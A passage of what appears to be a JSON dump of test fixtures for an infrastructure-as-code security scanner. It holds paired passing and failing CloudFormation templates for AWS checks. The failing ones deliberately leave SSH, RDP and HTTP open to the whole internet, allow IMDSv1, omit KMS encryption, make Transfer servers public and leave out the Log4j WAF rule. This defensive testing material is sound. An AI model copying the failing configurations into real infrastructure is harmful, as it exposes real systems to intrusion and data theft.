    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  SageMakerExecutionRole:\n    Type: 'AWS::IAM::Role'\n    Properties:\n      RoleName: 'SageMakerExecutionRole'\n      AssumeRolePolicyDocument:\n        Version: '2012-10-17'\n        Statement:\n          - Effect: 'Allow'\n            Principal:\n              Service: 'sagemaker.amazonaws.com'\n            Action: 'sts:AssumeRole'\n      Policies:\n        - PolicyName: 'SageMakerExecutionPolicy'\n          PolicyDocument:\n            Version: '2012-10-17'\n            Statement:\n              - Effect: 'Allow'\n                Action:\n                  - 's3:GetObject'\n                  - 's3:PutObject'\n                Resource: 'arn:aws:s3:::your-s3-bucket-name/*'\n\n  SageMakerModelPass:\n    Type: 'AWS::SageMaker::Model'\n    Properties:\n      ModelName: 'ExampleSageMakerModel'\n      ExecutionRoleArn: !GetAtt SageMakerExecutionRole.Arn\n      PrimaryContainer:\n        Image: '123456789012.dkr.ecr.us-west-2.amazonaws.com/my-sagemaker-image:latest'\n        Mode: 'SingleModel'\n        ModelDataUrl: 's3://your-s3-bucket-name/model.tar.gz'\n      EnableNetworkIsolation: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SagemakerNotebookEncryptedWithCMK/template.yaml",
    "content": "Resources:\n  BasicNotebookInstancePASS:\n    Type: \"AWS::SageMaker::NotebookInstance\"\n    Properties:\n      InstanceType: \"ml.t2.large\"\n      RoleArn: \"!GetAtt ExecutionRole.Arn\"\n      KmsKeyId: \"bla bla\"\n  BasicNotebookInstanceFAIL:\n    Type: \"AWS::SageMaker::NotebookInstance\"\n    Properties:\n      InstanceType: \"ml.t2.large\"\n      RoleArn: \"!GetAtt ExecutionRole.Arn\"\n\n  BasicDomainPASS:\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E3002\n            - E3030\n            - E3003\n    Type: \"AWS::SageMaker::Domain\"\n    Properties:\n      InstanceType: \"ml.t2.large\"\n      RoleArn: \"!GetAtt ExecutionRole.Arn\"\n      KmsKeyId: \"bla bla\"\n  BasicDomainFAIL:\n    Metadata:\n      cfn-lint:\n        config:\n          ignore_checks:\n            - E3002\n            - E3030\n            - E3003\n    Type: \"AWS::SageMaker::Domain\"\n    Properties:\n      InstanceType: \"ml.t2.large\"\n      RoleArn: \"!GetAtt ExecutionRole.Arn\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SagemakerNotebookInstanceAllowsIMDSv2/SagemakerNotebookInstanceAllowsIMDSv2-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: \"Create basic notebook instance\"\nResources:\n  BasicNotebookInstanceFail1:\n    Type: \"AWS::SageMaker::NotebookInstance\"\n    Properties:\n      InstanceType: \"ml.t2.large\"\n      RoleArn: !GetAtt ExecutionRole.Arn\n      InstanceMetadataServiceConfiguration:\n        MinimumInstanceMetadataServiceVersion: \"1\"\n  BasicNotebookInstanceFail2:\n    Type: \"AWS::SageMaker::NotebookInstance\"\n    Properties:\n      InstanceType: \"ml.t2.large\"\n      RoleArn: !GetAtt ExecutionRole.Arn\n  ExecutionRole: \n    Type: \"AWS::IAM::Role\"\n    Properties: \n      AssumeRolePolicyDocument: \n        Version: \"2012-10-17\"\n        Statement: \n          - \n            Effect: \"Allow\"\n            Principal: \n              Service: \n                - \"sagemaker.amazonaws.com\"\n            Action: \n              - \"sts:AssumeRole\"\n      Path: \"/\"\n      ManagedPolicyArns:\n        - !Sub \"arn:${AWS::Partition}:iam::aws:policy/AmazonSageMakerFullAccess\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SagemakerNotebookInstanceAllowsIMDSv2/SagemakerNotebookInstanceAllowsIMDSv2-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nDescription: \"Create basic notebook instance\"\nResources:\n  BasicNotebookInstancePass:\n    Type: \"AWS::SageMaker::NotebookInstance\"\n    Properties:\n      InstanceType: \"ml.t2.large\"\n      RoleArn: !GetAtt ExecutionRole.Arn\n      InstanceMetadataServiceConfiguration:\n        MinimumInstanceMetadataServiceVersion: \"2\"\n  ExecutionRole: \n    Type: \"AWS::IAM::Role\"\n    Properties: \n      AssumeRolePolicyDocument: \n        Version: \"2012-10-17\"\n        Statement: \n          - \n            Effect: \"Allow\"\n            Principal: \n              Service: \n                - \"sagemaker.amazonaws.com\"\n            Action: \n              - \"sts:AssumeRole\"\n      Path: \"/\"\n      ManagedPolicyArns:\n        - !Sub \"arn:${AWS::Partition}:iam::aws:policy/AmazonSageMakerFullAccess\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecretManagerSecretEncrypted/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  NoKMS:\n    Type: AWS::SecretsManager::Secret\n    Properties: \n      Name: test\n  AWSKMS0:\n    Type: AWS::SecretsManager::Secret\n    Properties: \n      Name: test\n      KmsKeyId: aws/secretsmanager\n  AWSKMS1:\n    Type: AWS::SecretsManager::Secret\n    Properties: \n      Name: test\n      KmsKeyId: alias/aws/secretsmanager\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecretManagerSecretEncrypted/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  MyCMK:\n    Type: AWS::SecretsManager::Secret\n    Properties: \n      Name: test\n      KmsKeyId: test-key\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-FAILED-2.yaml",
    "content": "Parameters:\n  HTTPSLocation:\n    Description: The IP address range that can be used to connect via HTTPS\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 0.0.0.0/0\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\n\nResources:\n  InboundRule:\n    Type: 'AWS::EC2::SecurityGroupIngress'\n    Properties:\n      GroupId: sg-87654321\n      IpProtocol: tcp\n      FromPort: 80\n      ToPort: 80\n      CidrIp: !Ref 'HTTPSLocation'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-FAILED-3.yaml",
    "content": "Resources:\n  OutboundRule:\n    Type: 'AWS::EC2::SecurityGroupEgress'\n    Properties:\n      GroupId: sg-87654321\n      IpProtocol: tcp\n      FromPort: 443\n      ToPort: 443\n      DestinationSecurityGroupId: sg-12345678\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-FAILED.yaml",
    "content": "Parameters:\n  HTTPSLocation:\n    Description: The IP address range that can be used to connect via HTTPS\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 0.0.0.0/0\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\n\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: HTTPS security group\n      SecurityGroupIngress:\n        - IpProtocol: tcp\n          FromPort: 443\n          ToPort: 443\n          CidrIp: !Ref 'HTTPSLocation'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-PASSED-2.yaml",
    "content": "Parameters:\n  HTTPSLocation:\n    Description: The IP address range that can be used to connect via HTTPS\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 0.0.0.0/0\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\n\nResources:\n  InboundRule:\n    Type: 'AWS::EC2::SecurityGroupIngress'\n    Properties:\n      Description: HTTPS Ingress\n      GroupId: sg-87654321\n      IpProtocol: tcp\n      FromPort: 443\n      ToPort: 443\n      CidrIp: !Ref 'HTTPSLocation'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-PASSED-3.yaml",
    "content": "Resources:\n  OutboundRule:\n    Type: 'AWS::EC2::SecurityGroupEgress'\n    Properties:\n      Description: HTTPS Egress\n      GroupId: sg-87654321\n      IpProtocol: tcp\n      FromPort: 443\n      ToPort: 443\n      DestinationSecurityGroupId: sg-12345678\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-PASSED-4.yaml",
    "content": "Parameters:\n  HTTPSLocation:\n    Description: The IP address range that can be used to connect via HTTPS\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 0.0.0.0/0\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\n\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: HTTPS security group\n      SecurityGroupIngress: None\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupRuleDescription/SecurityGroupRuleDescription-PASSED.yaml",
    "content": "Parameters:\n  HTTPSLocation:\n    Description: The IP address range that can be used to connect via HTTPS\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 0.0.0.0/0\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\n\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: HTTPS security group\n      SecurityGroupIngress:\n        - Description: 'HTTPS Ingress'\n          IpProtocol: tcp\n          FromPort: 443\n          ToPort: 443\n          CidrIp: !Ref 'HTTPSLocation'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupQuotes-FAILED.yaml",
    "content": "Resources:\n  DemoSecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      VpcId: vpc-000000 #dummy vpc id\n      GroupDescription: SG to allow SSH access via port 22\n      SecurityGroupIngress:\n        - Description: fail quotes\n          IpProtocol: tcp\n          FromPort: '22'\n          ToPort: '22'\n          CidrIp: \"0.0.0.0/0\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupRange-FAILED.yaml",
    "content": "Resources:\n  DemoSecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      VpcId: vpc-000000 #dummy vpc id\n      GroupDescription: SG to allow SSH access via port 22\n      SecurityGroupIngress:\n        - Description: fail range\n          IpProtocol: tcp\n          FromPort: '21'\n          ToPort: '23'\n          CidrIp: \"0.0.0.0/0\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupRangeInvalid-PASSED.yaml",
    "content": "Resources:\n  DemoSecurityGroup:\n    Type: 'AWS::EC2::SecurityGroup'\n    Properties:\n      VpcId: vpc-000000 #dummy vpc id\n      GroupDescription: SG to allow SSH access via port 22\n      SecurityGroupIngress:\n        - Description: range inverted\n          IpProtocol: tcp\n          FromPort: '23'\n          ToPort: '21'\n          CidrIp: \"0.0.0.0/0\""
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupUnrestrictedIngress22-FAILED-2.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    Default: '::/0'\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 22\n      SecurityGroupIngress:\n      - Description: SSH Ingress\n        IpProtocol: tcp\n        FromPort: 22\n        ToPort: 22\n        CidrIpv6: !Ref 'SSHLocation'\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupUnrestrictedIngress22-FAILED-3.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    Default: '0000:0000:0000:0000:0000:0000:0000:0000/0'\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 22\n      SecurityGroupIngress:\n      - Description: SSH Ingress\n        IpProtocol: tcp\n        FromPort: 22\n        ToPort: 22\n        CidrIpv6: !Ref 'SSHLocation'\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupUnrestrictedIngress22-FAILED.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 0.0.0.0/0\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 22\n      SecurityGroupIngress:\n      - Description: SSH Ingress\n        IpProtocol: tcp\n        FromPort: 22\n        ToPort: 22\n        CidrIp: !Ref 'SSHLocation'\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupUnrestrictedIngress22-PASSED.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 10.10.10.0/24\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 22\n      SecurityGroupIngress:\n      - Description: SSH Ingress\n        IpProtocol: tcp\n        FromPort: 22\n        ToPort: 22\n        CidrIp: !Ref 'SSHLocation'\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress22/SecurityGroupUnrestrictedIngress22-UNKNOWN.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    Default: '::/0'\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 22\n      SecurityGroupIngress: 'hello22'"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress3389/SecurityGroupUnrestrictedIngress3389-FAILED-2.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    Default: '::/0'\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 22\n      SecurityGroupIngress:\n      - Description: SSH Ingress\n        IpProtocol: tcp\n        FromPort: 3389\n        ToPort: 3389\n        CidrIpv6: !Ref 'SSHLocation'\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress3389/SecurityGroupUnrestrictedIngress3389-FAILED.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 0.0.0.0/0\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 22\n      SecurityGroupIngress:\n      - Description: SSH Ingress\n        IpProtocol: tcp\n        FromPort: 3389\n        ToPort: 3389\n        CidrIp: !Ref 'SSHLocation'\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress3389/SecurityGroupUnrestrictedIngress3389-PASSED.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 10.10.10.0/24\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 22\n      SecurityGroupIngress:\n      - Description: SSH Ingress\n        IpProtocol: tcp\n        FromPort: 3389\n        ToPort: 3389\n        CidrIp: !Ref 'SSHLocation'"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/SecurityGroupUnrestrictedIngress80-FAILED-2.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    Default: '::/0'\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 80\n      SecurityGroupIngress:\n      - Description: SSH Ingress\n        IpProtocol: tcp\n        FromPort: 80\n        ToPort: 80\n        CidrIpv6: !Ref 'SSHLocation'\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/SecurityGroupUnrestrictedIngress80-FAILED-3.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    Default: '0000:0000:0000:0000:0000:0000:0000:0000/0'\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 80\n      SecurityGroupIngress:\n      - Description: SSH Ingress\n        IpProtocol: tcp\n        FromPort: 80\n        ToPort: 80\n        CidrIpv6: !Ref 'SSHLocation'\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/SecurityGroupUnrestrictedIngress80-FAILED.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 0.0.0.0/0\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 22\n      SecurityGroupIngress:\n      - Description: SSH Ingress\n        IpProtocol: tcp\n        FromPort: 80\n        ToPort: 80\n        CidrIp: !Ref 'SSHLocation'\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/SecurityGroupUnrestrictedIngress80-PASSED.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    MinLength: 9\n    MaxLength: 18\n    Default: 10.10.10.0/24\n    AllowedPattern: (\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})\\.(\\d{1,3})/(\\d{1,2})\n    ConstraintDescription: must be a valid IP CIDR range of the form x.x.x.x/x.\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 80\n      SecurityGroupIngress:\n      - Description: SSH Ingress\n        IpProtocol: tcp\n        FromPort: 80\n        ToPort: 80\n        CidrIp: !Ref 'SSHLocation'\n\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_SecurityGroupUnrestrictedIngress80/SecurityGroupUnrestrictedIngress80-UNKNOWN.yaml",
    "content": "Description: Security Group Example\nParameters:\n  SSHLocation:\n    Description: The IP address range that can be used to SSH to the EC2 instances\n    Type: String\n    Default: '::/0'\nResources:\n  InstanceSecurityGroup:\n    Type: AWS::EC2::SecurityGroup\n    Properties:\n      GroupDescription: Enable SSH access via port 80\n      SecurityGroupIngress: 'hello80'"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_TimestreamDatabaseKMSKey/TimestreamDatabaseKMSKey-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  TimestreamDatabaseDefault:\n    Type: AWS::Timestream::Database\n    Properties:\n      DatabaseName: timestream\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_TimestreamDatabaseKMSKey/TimestreamDatabaseKMSKey-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources:\n  TimestreamDatabaseEnabled:\n    Type: AWS::Timestream::Database\n    Properties:\n      DatabaseName: timestream\n      KmsKeyId: kms-key-id\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_TransferServerIsPublic/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  PUBLIC:\n    Type: AWS::Transfer::Server\n    Properties: \n      EndpointType: \"PUBLIC\"\n  NONE:\n    Type: AWS::Transfer::Server\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_TransferServerIsPublic/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  VPC:\n    Type: AWS::Transfer::Server\n    Properties: \n      EndpointType: \"VPC\"\n  VPCENDPOINT:\n    Type: AWS::Transfer::Server\n    Properties: \n      EndpointType: \"VPC_ENDPOINT\"\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_VPCEndpointAcceptanceConfigured/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  FailDefault:\n    Type: AWS::EC2::VPCEndpointService\n  FailExplicit:\n    Type: AWS::EC2::VPCEndpointService\n    Properties: \n      AcceptanceRequired: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_VPCEndpointAcceptanceConfigured/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  Pass:\n    Type: AWS::EC2::VPCEndpointService\n    Properties: \n      AcceptanceRequired: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_WAFACLCVE202144228/FAILED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  NoRule:\n    Type: AWS::WAFv2::WebACL\n    Properties:\n      Name: 'example-webacl'\n      DefaultAction:\n        Allow: { }\n      Scope: REGIONAL\n      VisibilityConfig:\n        SampledRequestsEnabled: false\n        MetricName: ExampleWebACLMetric\n        CloudWatchMetricsEnabled: false\n  WrongRule:\n    Type: AWS::WAFv2::WebACL\n    Properties:\n      Name: 'example-webacl'\n      DefaultAction:\n        Allow: { }\n      Scope: REGIONAL\n      VisibilityConfig:\n        SampledRequestsEnabled: false\n        MetricName: ExampleWebACLMetric\n        CloudWatchMetricsEnabled: false\n      Rules:\n        - Name: rule-1\n          Priority: 1\n          Statement:\n            ManagedRuleGroupStatement:\n              VendorName: AWS\n              Name: AWSManagedRulesAnonymousIpList\n          OverrideAction:\n            None: { }\n          VisibilityConfig:\n            CloudWatchMetricsEnabled: false\n            MetricName: AWSManagedRulesKnownBadInputsRuleSet\n            SampledRequestsEnabled: false\n  RuleCount:\n    Type: AWS::WAFv2::WebACL\n    Properties:\n      Name: 'example-webacl'\n      DefaultAction:\n        Allow: { }\n      Scope: REGIONAL\n      VisibilityConfig:\n        SampledRequestsEnabled: false\n        MetricName: ExampleWebACLMetric\n        CloudWatchMetricsEnabled: false\n      Rules:\n        - Name: rule-1\n          Priority: 1\n          Statement:\n            ManagedRuleGroupStatement:\n              VendorName: AWS\n              Name: AWSManagedRulesKnownBadInputsRuleSet\n              ExcludedRules:\n                - Name: Log4JRCE\n          OverrideAction:\n            None: { }\n          VisibilityConfig:\n            CloudWatchMetricsEnabled: false\n            MetricName: AWSManagedRulesKnownBadInputsRuleSet\n            SampledRequestsEnabled: false\n  RuleGroupCount:\n    Type: AWS::WAFv2::WebACL\n    Properties:\n      Name: 'example-webacl'\n      DefaultAction:\n        Allow: { }\n      Scope: REGIONAL\n      VisibilityConfig:\n        SampledRequestsEnabled: false\n        MetricName: ExampleWebACLMetric\n        CloudWatchMetricsEnabled: false\n      Rules:\n        - Name: rule-1\n          Priority: 1\n          Statement:\n            ManagedRuleGroupStatement:\n              VendorName: AWS\n              Name: AWSManagedRulesKnownBadInputsRuleSet\n          OverrideAction:\n            Count: { }\n          VisibilityConfig:\n            CloudWatchMetricsEnabled: false\n            MetricName: AWSManagedRulesKnownBadInputsRuleSet\n            SampledRequestsEnabled: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_WAFACLCVE202144228/PASSED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  Pass:\n    Type: AWS::WAFv2::WebACL\n    Properties:\n      Name: 'example-webacl'\n      DefaultAction:\n        Allow: { }\n      Scope: REGIONAL\n      VisibilityConfig:\n        SampledRequestsEnabled: false\n        MetricName: ExampleWebACLMetric\n        CloudWatchMetricsEnabled: false\n      Rules:\n        - Name: rule-1\n          Priority: 1\n          Statement:\n            ManagedRuleGroupStatement:\n              VendorName: AWS\n              Name: AWSManagedRulesKnownBadInputsRuleSet\n              ExcludedRules:\n                - Name: Host_localhost_HEADER\n                - Name: PROPFIND_METHOD\n                - Name: ExploitablePaths_URIPATH\n          OverrideAction:\n            None: { }\n          VisibilityConfig:\n            CloudWatchMetricsEnabled: false\n            MetricName: AWSManagedRulesKnownBadInputsRuleSet\n            SampledRequestsEnabled: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_WAFEnabled/WAFEnabled-FAILED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  MyCloudFrontDistribution:\n    Type: 'AWS::CloudFront::Distribution'\n    Properties:\n      DistributionConfig:\n        Enabled: True\n        DefaultCacheBehavior:\n          AllowedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          CachedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          Compress: true\n          DefaultTTL: 3600\n          ForwardedValues:\n            Cookies:\n              Forward: none\n            QueryString: false\n          MaxTTL: 86400\n          MinTTL: 60\n          TargetOriginId: s3origin\n          ViewerProtocolPolicy: 'https-only'\n        Origins:\n          - DomainName: 'awsexamplebucket.s3.us-west-2.amazonaws.com'\n            Id: s3origin\n            S3OriginConfig:\n              OriginAccessIdentity: 'origin-access-identity/cloudfront/CloudFrontOriginAccessIdentity'\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_WAFEnabled/WAFEnabled-PASSED.yaml",
    "content": "AWSTemplateFormatVersion: '2010-09-09'\nResources:\n  MyCloudFrontDistribution:\n    Type: 'AWS::CloudFront::Distribution'\n    Properties:\n      DistributionConfig:\n        Enabled: True\n        DefaultCacheBehavior:\n          AllowedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          CachedMethods:\n            - GET\n            - HEAD\n            - OPTIONS\n          Compress: true\n          DefaultTTL: 3600\n          ForwardedValues:\n            Cookies:\n              Forward: none\n            QueryString: false\n          MaxTTL: 86400\n          MinTTL: 60\n          TargetOriginId: s3origin\n          ViewerProtocolPolicy: 'https-only'\n        Origins:\n          - DomainName: 'awsexamplebucket.s3.us-west-2.amazonaws.com'\n            Id: s3origin\n            S3OriginConfig:\n              OriginAccessIdentity: 'origin-access-identity/cloudfront/CloudFrontOriginAccessIdentity'\n        Logging:\n          Bucket: myawslogbucket.s3.amazonaws.com\n        WebACLId: arn:aws:wafv2:us-east-1:123456789012:global/webacl/ExampleWebACL/473e64fd-f30b-4765-81a0-62ad96dd167a\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_WorkspaceRootVolumeEncrypted/FAIL.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  FailDefault:\n    Type: AWS::WorkSpaces::Workspace\n    Properties: \n      UserName: test\n      BundleId: wsb-abc123456\n      DirectoryId: d-abc123456\n  FailExplicit:\n    Type: AWS::WorkSpaces::Workspace\n    Properties: \n      UserName: test\n      BundleId: wsb-abc123456\n      DirectoryId: d-abc123456\n      RootVolumeEncryptionEnabled: false\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_WorkspaceRootVolumeEncrypted/PASS.yaml",
    "content": "AWSTemplateFormatVersion: \"2010-09-09\"\nResources: \n  Pass:\n    Type: AWS::WorkSpaces::Workspace\n    Properties: \n      UserName: test\n      BundleId: wsb-abc123456\n      DirectoryId: d-abc123456\n      RootVolumeEncryptionEnabled: true\n"
  },
  {
    "path": "tests/cloudformation/checks/resource/aws/example_WorkspaceUserVolumeEncrypted/FAIL.yaml",
